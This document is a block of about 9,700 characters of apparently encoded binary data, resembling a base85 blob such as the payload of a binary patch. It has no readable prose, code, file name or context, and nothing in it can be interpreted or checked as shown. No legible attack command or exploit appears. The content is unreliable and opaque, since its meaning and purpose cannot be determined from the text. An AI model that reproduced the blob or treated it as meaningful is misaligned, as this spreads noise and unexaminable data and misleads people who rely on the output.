zW*p5zH+-aZ^cv8oK&!vnyjeoq;E5K@@jdQ{YvLfk*)!Q%Sq&5{+RJafpbs-WF`ya*+XnY^Q#A;jirUWSzZDP`SVBZB1C-=t!s;WpYQ2^+>=osZ!M`lM?Z z^}xVG$~g9F4=Jm-<6;M3xgS17FFWqC&VXwJjrGNAJxOAEL; zuE4#Zz`eh5J3h*tPoA7@fvjiQv=24lgK0bemU07j29<8lw3 zADyAd&2a@8Tn9P+>A#d%iQxQ1GxDYL6F0(c!u$lA6Xz#%uG+rkBk_f0ZvVebV88d~ z`?=p6Z>N^;{ttim@e2Ul+^fN$i0S`8_(iyj1$~l2?Het?JVBSRtQYht3FP(}2s+z0 zUc|Ws+(?UHScWT_kPPyq;{I*vi}V#D%)p}lhXqmISgr=>(jJ5K@-V_J;FkgeFWa3< z%EAx!Y97x=!Et4Z23RG@^azkT|lKEw80t zhxg-5R{lnQKV67Nbf?+KKb!HF`}ku@^T(CRGFR>W2H=-IWBU-QxLY4xmX!I7?`FTs zfcKOEOJqK}Y>)U7&mF_f5V;qZ$)USW{J6zmW4YzBV`8He94ZH|cS@T$Yu*@MB3`SmC{@XUnt-Q88z$6M@Tc)3@ZAJ=t zuPx)10N)6(O&qm@m5JzU%hJc?y|MhAzoLkrn8>TPFVXKo?>B;k{)g3eKI3P7{4vCb zD7^j-RNH6Zmp$>q=9=hX(DT<({RpYr7Lqn}`jKQ#Vrc)9)F zhw~mEwN(k(A6E3f@|J=3+xyCQ0K}~AwX5;+=0krao8?VNo~r?IY)QrY%6G4LgZGsk zl2!e;8s-P|UyroFJN4zPtp8#ve-r)FuU5y_zA6~lFC||M3Ex+4fTt?KDnOzQYYYes zpiD~;m8<{>0C_S2^ArBVNJ4pFgXC*?rSb^a z5&B9qk@8*5(DK6bIQU7E!9+6yzdjXeMHUdcYqfAiOSNRR-IV;X3^0GL7 z42m&aN}_$%6540W)jq2LDcWaL16)6nFNXec@!u#9t05oviuxB|OmnHD7V+sdpFRTy z6u|CeL1;7oZUA~n;bz$?0FzY`%4kAdKR?<19W`hHu!BCTn+p79P{Ty=Fs6G8&_ir! z9qDx5i6~M=`c`mL9=-Vpq!ct!>eEy9KyfcvquL??7QRrw{b@3T3T$Q&QQRX~mJbs& zZnAZi&Dj40Y*=v%SRai(8ZvO3#DJG3Sl;?L!uZ5Xcps z6~OQI1)Wo z9Hr{qT2Mr-DaQPdT(@oxCdJh)P9}KwYm0P4pYwTAIA7a{~%vjb$a?=Zv%)$ z&kuhDLLujeF9IOiztN_&n+#|%pwoaJ12|1Cv62RGCS80|2Gj$<6dlS2e{En-PZSE$ zh^0DefHPpqfC?it3_#|;@Z}%pzsRkO_W6aI4ADK}-AsV)QM%2%4V<99VeCGdFgiA02{FaUA6gS#50iB3 zXu;s|;RNrD=)yCHR84t>1cO^E!5>3rG^>N>I8Y1`td^LDVf;!kv<~zbG8n;M8@PBU zGJFGd&<)f z?v9gDm^h!zCqod~MtLP{LLuEtim<#G-5*-U2ymP0nDl#Pj}js*>wB$_Q6vzw<#U$b$*_3SvCNrd= z?fMo8|G$(NbX<3_Cwq2>js}lnv1I2yov1|NR$zYOrQXPBFe>lGk_B2>oPBWr%cb*>YSt7%!AC=yxuKoXyNH@I;HG35-V(kBH@@%4Wl`sw8MSi8NZ(wx&aCUBq*Ot z#TR`cEl?V730L(TWF<4Vs|&MCkP&bAy%mV+K#$sp9v=33A7*Lmd zAL>v`aoY2no5K0I{dInhW&*2dgkMyVd{M?@;*Tx2{QC2oJAIkOI&MdkN7-ZX6~O{D z8_;Gzw*kEXsMmy~KM~D%ZvWG?J_iglX+V_$H3kF*uuIKRi=OagY#vs4NiTWOmm7t- zG1Qg-lLnL-xp*EqJG4P9&qT9pKNB!5BZs%=VXAM=On6o$B>@qtmYd8 z5Ocw{^VGurz%Flx|`Io{# zqq)FcOaaK0JX}rt>(p1S-j4;v6!m;{AJax|u`XTy&qK<)@B@`pM+_zh z;C?$_t;Jh_lxw%YJvrKL$A4z8nC`88mc4-Xx%A;TXrDJ2RC zDggeA_9q3-M&Qsh z*($q2vC}A)Zm5)RA%^xzd3UQ>hMt(7)rK9lFDT=z_Oj?%?d2ffTKOLN&1*X(DOp96 zS?-P|y~vsEv-Qk2dA;XsBsj55dNeq#oxE#M+X+#$jT2A$?}4IY+r1LeAKUJuqr|c8 zeLg~g_U#JI1nmvYkIkf?G1`YHWYSESX4p)aY#~x;7R4I!%p#e8+HhiC!&zLgouBis z$xyyOwJ($2)kraid^hlm{ztx$>t^xCRz>+@iy*#Ip>YEe22>ePV?Y2P|3o)q`4ip0 zgAx-;!^o@v%(Vbx222`ICX{f+mVE7uw=fl+@g^O~{~DtlHmy#h(_;W7R??E9hmQA@ z{mE}n*`NF-9e1Qr4VzfXXw)0fXh1Unn(#_B?;JOyyP7ed`LKaap_YZA3Zs!Qpvn_d zrt*j}x|?`htW4}HBqB{pJ*wlb{-6&a8fT8B_z^k`M7MdmXd9kl+cV~)$GS13V1hRw zrtlhewtdF^fB_>0i~%4uaKIo$1B-a!Z(H z5T$dPrH%L^tx`yp#=ZGcTHOK0j8bP_dA|JjKBrRF5(G}3RA1jKTP5&(xdmtg@REcW zeR%;9X1<07Dn)FW65(V$WB<$fKFso^R1p@F^^@Hnh%%>j#Oiq}=O0Pwcw<2k{V9L& zwpr1AHE0ZS<92I<@l~g-X3(uQbmLgG0YpZM@n0=%8Ht(-_#uWulyYiyf6!dzM&}XE zU&W5Zf@Pk8!lr@m$`9n^Ap#Q`n2XjaA zT_|)K&||!lK^PIgg5W-yiz(PjXnbg3>YzB3_vc|k>l$o!`r2Q-f4F?h{S6; zM{7E7LMJc0yd|f8Ajnb_ol24lRvQXQyWgN`f#=rB=@qQ%Rj*aPiT#Uc^rEIA%94Nc zg7&pNB~gEDgg#U|ymK&ce>=Q9xi z{d?JJEdVRkLDyyEtVFF`M$o`>J%utrfp$N!0I7U1pfSM!^#7y9k%a4;EWjdZ+t}eg zW&z>>YJz|Qsm}}0^rga1vGkRM^a5mo>2IwIt0BU1IY{M%OPW-83SP3*q0wwiCgMBt zNHi;8Op_aQ7g`#o4@F>ZeXJBZ3X>J=j<5u*l##(tU5~okryfay1h&y($o}yVwJa^c!9q{Qs-3j=9z_1qeLqshuC-)$CrOxEhJZ59h9&v z=+IF?L^v?TvtEbBazvhTN#({kqJLJcWVx=_yU6_226~%^EkK-_k0CXx`!x*XV2{CK z;|^Jt7f;Bu@%Q6@*~ELNIU$exy)j^ooR3!$I1wczHhWbm=i^Cj+Vk=Mq37dSlQ2D4 z!MXGCqXDv*E#LlqIUoP=Yj8fkyr%ek{0Azd5@zS)w-yYj3#6>J>yNeVyL#iu@J;Er z;-m}i1B`wCGk_>(^YDS4lHiweChmJHQ}Ts;$rs`#U&tB0Qp>3WJP;VrU_g@rEe1@@ z^~h!B6E`4fKsA6oX~R|e7Ol^KeglRL7&X8d5Jyfae@T4#Czt$#cpc2H|HIw4z*SkK z|3ivmsRz6iW^PcFm{w3$kWoj|dXF6v%ZjoK-HghT42@Px6e&)}(^6S$YqfT_yKPp8 zR-mS67x9vzR$>=@2}{&c)HeR#?=v&!0ta;awae%8_ao<>nRn)y=QhtgbA9=aaYAN1 zPRCgR<18cO1WKsr{>;@lfgp9&m_WS=M3_=B zCeYweL`4S?MI4DV-;pRnW;{X@#R?c_8L6nmz@KFTb4{Ss1S(CyG65c#km5WoB7s~J zC_q4n@@I}PucA#L&IFQ7Ak_qFG*R_<8c7jHBF%RsijWz%b(|G2&N3x}O({-sNub;W zs!X891bC=Tp>6{CCQxhwvrJ$v0zy@;Nl7w+WD{_jK&A=sOpH`f3Cv{o1fGT};z+Fd zj#Lpc<5fD&3K*|OTv1hn<8K0v=kO%ZU;@#mrZ^LrWnS?Ro@Ab90_7&a^Ls*-KXaye z#iMvqD#rx!O@OEP6hL4`s><;+R1rsFJx^0X$c&fjI4fYBWfWD>23(8@#G62}2{=uF z=k26!p2v~^k3va+C&DDqfPhft&zx^w6_`MY3CuBpc_uImn31Zvcp9pRBeCW?%8HN~ zpQGcffN_>lR3#g5sU~2VK$Z#Qn1CIvQLi_F2=gk&1mY18s{EPfn9Orcpwt8^O@KFd z2vZ7x8L2A4(@;emi8bGmDne$wSjSlb<1C}7$}-@xO@Mb~s0vJ=!~}RfhP;Y1fg}@1 zH316&p~|0`UnQ1ORVGkl0`(>kVT$JfGg6h0r=f~C5^KIARfNoVu8y+;##u&DRbb#2 zo4_m+m}>&On?uk_H36py@cIgQm2CpK2nbdF%=MVUmOKq65N$HYnLv^WWCAl%m5ryN ziZ~K$z9UtH%y^cLvjWChMp4BNq)L_ZOrYEZs!X891hP#a#{}|Cpx6X>ZH7?g&m3o7 z#hXB~2{=t4(*#n18L6`HG*l5sV$FA?ijWz1>NqQ4oMjYMRhUZ=s;W(Z--=bNHGybT zCBIiIuS!gS*GVX*m_RuKLX|(W)4Z}wAj<@DOn_Hg2%LCeMyitWG*l5sV$FA?ijWyk z(s5S6ILj!i8n8c0z(p9iyhB1&U;@b|FwbNzH35F|STa|e0I#tSs{EOA%&S}zC@_H% z6PRNH(ZGyU#o=kFB96qG??@FPGajSktblQrQB=hna7iYRY66xCWSKxUHW>&FH6~DR z0ud%p3<5%xKXZx6Gs^_#nn0-uRGL6NJU&tt5kwVnB-VUKstB3!1|4SwjI)fQ$}-?G zO@Mbg23v|3n$8&VNTE{bWyhg`U zb==nRcpb0TacPRcuR+H}i4l*$h>ZA(_z{oRabXV_8#{RVVQz14-jd*{a(gz(%(~2v$yRFIgNJN^`w=)&)b}G; z5UTxnXf7F}V@!`+`hEn-H4eGdcwFvB5F~M-fglZxBs=a$sNBM-o}rjJ2)Q3YvSBkw zg?*kCS#Paw;QRr$bK!o3`_U@=_amr$RrX*xIZiNv`w`fjR5O`nG&%rk*<6R0wQ zOcTg5fgBUaH-TaVnhbIM#iC877!!y$fn*bKn!sFg8V#ltPyXX~$cZh#FDLI1CuGLw zF)!k*fN_>l^p&HeG@VKls5SxH1R7MpOcE8C^b!-8V*>LKfDITWmvT?mw<@FpzPdV5 z9ZOVuT^A*mXaeT=3D7qtVt_2~FfEkN(ef<8o_m21VQx+Y$z+88hJ|uetX6qW8%*6b z@6A3`f-uuSF`+s1L=oYd96v+$$nLP zNDf}fAUQrq4s#`g;Dep$`+3m^T8fGP*d)HONql9{#UNu!tn}%?(BYdwq@ft`mMuXEoVTxX#)Y9P~gyr$A<91rRA)9>%1)B;^9NkRJYJFIHFsMBZ{3)3$sq&CRe zeyL8~#K2lCkGhFL%JL?LH13#0YhylXKeJB-(*n0Ku#mk?($sAXENQ>T1g~0HQ@1gY zol<_1Y#7(`;r{t;%GWUc%FrCzY*|4$&XOEG?a^3@YkDKYZPQ4b+{i#;ttK}zFwK7d z6rdM!BLj|2>1Kn=Qji5pV!<~u__wF>`%n&tZ#yQTDLo!AduTp*KJ3*H=}lx>icX6I zyhDa3#b0w3r^bl3^&f z8F*He)IN_idtzstmrH4KG*D*pWq)b2`x#E0;=iAvH-b3-@YNZ(pW)Q`L^`VGN*Ds~ z*hGClLoWcYd%wxLfQiz6W&s6dKiAPun!26tHtlCTpRk|u#5z+d$@GCsHMrL45i+Bq69J`{A6H19f}f!yyJ4QjyEu`kDEO4 zk_EWzOTk(Gs~%L*DrM}qoJDOiSB;^)C1Ci6?z$g z2|Vbv4}wutc#Q0y)+ub_VW1j`pEY&Az@OF)PL8_#fg&^hRxmHH3w{Cf+Qnj9s#RnX zB4J%FJ2IN`r7s4uV*=h*tsP{Dg3j;!F66dweh0%5VSu_2K(sYWezWB_SG2VNStP&# z1h=+iVgHdzo17RU8P(>P&~rP;7{e_rS@tP+VKak7(V5OcN!Z`xk;F4Q-PB1hHYKdE zazL^Kr?%bv@S<6QK3rcGF(jISTu1DXI7iI%!~*0+IEi6mhHz>rqz-Lr@f^?64#CW; z{Q@S`nADJ`*zZf5o_!vgn8agU96yiF4Y>^fr@A2$EQ&9&2jdMRG1ScTj*$A~uW8ns zon}rA!KH3SFaosiF@F1gJk|kV-#NWP`<}xm?7MnKRlSBb=zXqEZBt4Vc_dp4=0_b~ z)VcjTuhCn_hh2UheA?xiL+8EE=m2ZMmmgJ^^*ti(d`1W2R+@8;zpQaSrIong7_!i_ z%1*uZ-{`Kl+^ajnDEkuaa&Jb!KKlf4(ie3pEANWR#pwfLQhh*saPmV^GPU_fb3j&} z>_DZK#87EA4V=?nHkmb!lNw|FHq6uIVb9^z@*!y3WL?J0)rXPDh#rPHBlch zEnlZ4AuXhKUI7-(s(~4N2Vc~~%So*f&a=@>p2P?uG>5u_*CCQxMpH3(Q`?ceX(`Gec%f5g6w znXR%Zr*$t`FuYv_Q$CWEwU;lBJ#OG>1x#5kDeGge?vwDrSvN9em82BEyZ875?&CHy zfmlnVR36gyB^Vh%k2K(RZRJ(q%6BU&G*nLtDk0y zf_zd@LjKNmz31Y4%>CjN0;?u$|aIA_UuvDrjDO@I8&~Yl=sg(>YL$DoH&3fyoSLl8+Xk! zvp#zC(XW_to22w>_@&PWN&o1xprep_jl_{netajDL*{>?a%w%Kb0xdB<1P9 zp5JG3$&X!`@(@y>+K=LK9hHJqEx2AQMgCN(_Le-O6!8~p)jkRV`|NmS|6YawyFRT| zyBD_n5wqyI>l^InmYDf=Yl=jS$# zAN}MzJ(&_IrFNIj_dN3OPFyfKBe9dDY`MHw+Q{wqKgN_;NttxyCFLIsdK+e9Mq)2X z>3GK7n~T#23}i}zr0m==?AUd;XP(EDenIo*1vqUg3EO!-(+X79WI{*=W(e87~?BxOuwTw1@|@}X-p6Tgs@LFMhQe(1XS z(z?Eul>2&bnDy&W*A>k3gMu?O=cua47175%G0xZe-1szq zi-R4iCgIva2YJui1)7uzj#}QybinfxW8B^jZX6$TdoM@u+Blb^(&bp;a;$VYK5=`F zb$hOec6&y|xIGufEeQe;C@&8D?xBwRZ%T|GGt9B$C;a4oAA#SAKkOdt7`Jq{W89fz z9GjOh@+l(s#~`+fv2`dm?t=I+gB_cz82^g#i<24O!1(u!U+!f5TgJCDer+b>bpVut zzk6etHaMQYu4Mj>bn^E~=GycNe|`fho0jtDQ~s>u&sSp{JC@;Z6*BCo;?D;De9Iqz zp3)J2BVzD#MLd44OUBPFPW+6^)Jzci-Q=HZc{w{vx3^2p1p^{n%NK+3So`X;5iz&- zRLgr0_zVVmr^IFSvt7M*x_Yh5=yf2YXitV?=*Moy(9iL=8sW`uPe-sC?7jl*zAl8_ zL7Z2?VE$v1z1w@H<-H)@8L{7I#QtQ(u5cB82?w`> zwYSFQDR+6+qf|5^8Ie0(u^Jbq#Yoz2SFEmqX>pSFs})<}iv7~<`Q7a)&+sgFRn){= zdrz1#47{z_5uXuRkrBJ!6{|7El3-V;MyL>qm$QEvlaQE)BPJ-V=WH^Q_#ouRc#}LSRNK;u`p5Lv; zPaH)9F=P@A3zn~&@=XC(MZDnZYI0SiX^Kb(^+vwryy`YHdK9|E+NQ*cDslDqIa5g4E%3KMs)WZ?0IADI;YKaKJ4l z3Wp%N6d#(`rEoBHDXj|N(4cTAcg3!Dq5XuY+FL^mAHK?n{WtX1pJ{7`r!K>@j4EEZ z9jbNmWM(a_hH7=WSAx(o$B?a1sXF{E!`~{mr?1;H4rb&+n2`}Jn2~^fHL?F0Dc^_a zNq0YPy5T`jM3;i(xMQ%vKOjfyQ81rB@#hKfnQ{(paxeSy1o+_gG~+=&vnd`-K=2RJ z&s76-g3z*2iP7j2b~NH=;vW3${~b3^+*yxM?jHC~JIe950)K1pw+VmW1IUP`aiO(luQnUDI`$xN9pLJ0FUM_t7}>IU{vx3Q1n1kN9#uXVcmg069>bKE_sbKDf6>O!GvL?*l4E3)}} zU9L5Cc>%aXBERR)_5is}m<5i7>ztQ@$DiSEJ^nVMFob}g75rJlpH1L`qi8fbUQpbW z6GFf7Z^S?Ov+O7Og~QK-_F=n+H!5okLhNL9KZC{|UQ(WpzJqzQCa4dv6061|95RVsJS!U zP_yVJO--Qlh?=L;!t_;9Pn%Z;W zeKjiKD)Y*q9H3^AdDW~x3Yb}U{}b**HuN_4%Oh%vJh~LHEZv$z=x_r4i{<_Q*FS}j z4xDX-3FlxQ<IhQkSW|~lO|7+3 z6`UqkwKKS?-GQq1y9(E$s>QBeYvISY=Ayg%N6pEma(8)F9zCCvN1x~Ma1|c1quw7o z5A;y5+1QK;R!TVpjB%c;*Ke*~zgl!xJZs&a4H=%A3{S1AaB-u%d!IK`S?Rh6clVQD zL(nR$iNs)VE&euOKv;vn+7>Fo%1#XDIB^Fdejq}0L|kI@P@Jy4+brX`LxmvTZT?P5 zi5s1k)*y<8WmVkrd?9h~^4X#*Qj}7Ijo=VH}nWaXVkvfwrveFe>YpJ2AFuvUF`B;xvzdBPv!g$q+t;3jB zYULKzO1I}TJzjlZXL3h=VsS`m#;exykKsH;xMDZDVn4}_n;Xt1| z0KrxG6>arx1XlPptuqv82oz`t6lh2-m+qo*ZDLG_CWXp)r$9_%;X3)|faCv@nd46>jiUeN+1TDe21O^F0YU}a08B*Mazn{ZN z@Fur+;0XIDvjJrJ(PIvo6{J0bGddjFoyq|J)A~H<5 zDG@oQj7>zAagq3QF#~Rhz%TCBx3Kb5gPGEy9(-U8Pdv8c;r5Pd@==9aap05 zRRY}-d8*HtxG`3Ay5Z1RZtqQ4T0_&yvfsv?eEgtaJPF}#EAo6nw(7Ydgj69gFEQJV z;bsmUqg+nB=G&>bi~wRxWI85XWGtG8D{{(l?F#`qH9$)P%#oCJju-%CBGwH4sd_8dJLic0?E8c_`pk|$p;={ zpM|G=pROrFP*UgOSyPNgF;1fxPZX1gVlq)owZDhXlD2GJFh`y*$OmJHVm{*bb=U~P zOmlRmxjNH4d8(V@NQaYg&>;*09l{{cK?d1JYaj(uNPYT-D3)j-v!w8R4P=o3A)N$5 zIt9q%8r^aYq*9(Q$n}0iw_1SYB{rk;YF#iw7mU^gW8{e=?^3V_WPdffZzvNch_S^& z7%#8Dcszyi@>F~6?e-e3kPc-N(m|Dw4ups`eUHeXSy||QhG#vdC*7WHZqLuI!k^J~ zq@R||X0bWK>V3wk60D}-*@eFYF2|7H@b@cuJV&s>Ms#_;AopRq!Q)cI?IZUpT@m(x zca^Li&nkK1qhido6YCiwO)3;n=1v(3VxBw!3D02s4l3C>1PBRb13Il%j;=LV*P72- zH|b0fI#aaHL;+B|am;kNMy*^>!Nn-@gm~o%@#4vy$u-CfJ+t|kAr=dk4X0c18UcJ8 zS_RamX{4wxmmu&$VvTzBx-`NujyrebZyzQ-Frk6DB1|jE98+#1=Sn8l^QVDRD8J+F z=6wuxPUP<>7+O5APmGV7U~2Ig3tNjvUZN~^EJxu@T+rC`C4V?;vS}NCc3?Vd)93tI z&!2Djvz0$T^JfpT?5N<+O8%_n&sY5Ufj>VBmaK)-V+tc&{lf%YsKEy=1R{wDp>65V z$$c&xAW3H=A^